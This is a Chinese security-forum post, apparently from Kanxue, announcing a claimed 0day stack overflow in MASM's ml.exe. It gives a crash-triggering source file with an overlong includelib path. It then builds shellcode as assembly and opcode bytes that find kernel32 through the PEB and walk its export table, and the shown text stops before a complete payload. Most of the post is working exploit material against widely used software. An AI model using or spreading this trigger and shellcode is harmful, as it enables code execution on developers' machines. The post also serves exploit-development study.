-----------------------
前置知识:栈溢出原理、PE格式、PEB结构、汇编语言。
使用工具:masm、od、winhex。
-----------------------
正题之前先扯两句废话,这是本人在看雪潜水多年来的第一贴,还请大家指教。这个漏洞是半年前无意中发现的,当时随便看了看就丢在一边了,昨个闲下来翻硬盘发现了这个文件,就拿出来写了个利用。虽然放了半年,但是网上还是找不到类似的漏洞,所以姑且还是个0day。而且这个漏洞所针对的ml.exe使用很广泛,包括看雪工具区的MASM32 v11和RadASM 2.2.1.2汉化,不过并不包含新版vs中的ml.exe,测试了vs11和12都没有效果。
废话扯完了,然后呢……继续废话。有一天,我照常的在用masm写代码,当我按了编译的时候,ml.exe报错了,错误地址看上去像是一个字符串的ascii码,这是溢出的典型现象。
测试代码
.686p
.mmx
.model flat
option casemap :none
includelib 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111bgrd1a1111111111111111111111111111111111111111111
end
64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18
772404CB 64:A1 30000000 mov eax, dword ptr fs:[30]
772404D1 8B40 0C mov eax, dword ptr [eax+C]
772404D4 8B40 0C mov eax, dword ptr [eax+C]
772404D7 8B00 mov eax, dword ptr [eax]
772404D9 8B00 mov eax, dword ptr [eax]
772404DB 8B40 18 mov eax, dword ptr [eax+18]
6A 30 5B 64 8B 03 8B 40 0C 8B 40 0C 8B 18 8B 03 8B 70 18
772404E1 6A 30 push 30
772404E3 5B pop ebx
772404E4 64:8B03 mov eax, dword ptr fs:[ebx]
772404E7 8B40 0C mov eax, dword ptr [eax+C]
772404EA 8B40 0C mov eax, dword ptr [eax+C]
772404ED 8B18 mov ebx, dword ptr [eax]
772404EF 8B03 mov eax, dword ptr [ebx]
772404F1 8B70 18 mov esi, dword ptr [eax+18]
assume eax:ptr IMAGE_DOS_HEADER ;eax为基址
mov eax,[eax].e_lfanew
add eax,krnlbz
assume eax:ptr IMAGE_NT_HEADERS ;pe头
lea eax,[eax].OptionalHeader
assume eax:ptr IMAGE_OPTIONAL_HEADER32 ;可选pe头
lea eax,[eax].DataDirectory
assume eax:ptr IMAGE_DATA_DIRECTORY ;导出表结构
mov eax,[eax].VirtualAddress
add eax,krnlbz
assume eax:ptr IMAGE_EXPORT_DIRECTORY
push [eax].NumberOfNames
push [eax].AddressOfNames
push [eax].AddressOfFunctions
8B 40 3C 03 45 FC 8D 40 18 8D 40 60 8B 00 03 45 FC FF 70 18 FF 70 20 FF 70 1C
772404F5 8B40 3C mov eax, dword ptr [eax+3C]
772404F8 0345 FC add eax, dword ptr [ebp-4]
772404FB 8D40 18 lea eax, dword ptr [eax+18]
772404FE 8D40 60 lea eax, dword ptr [eax+60]
77240501 8B00 mov eax, dword ptr [eax]
77240503 0345 FC add eax, dword ptr [ebp-4]
77240506 FF70 18 push dword ptr [eax+18]
77240509 FF70 20 push dword ptr [eax+20]
7724050C FF70 1C push dword ptr [eax+1C]
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)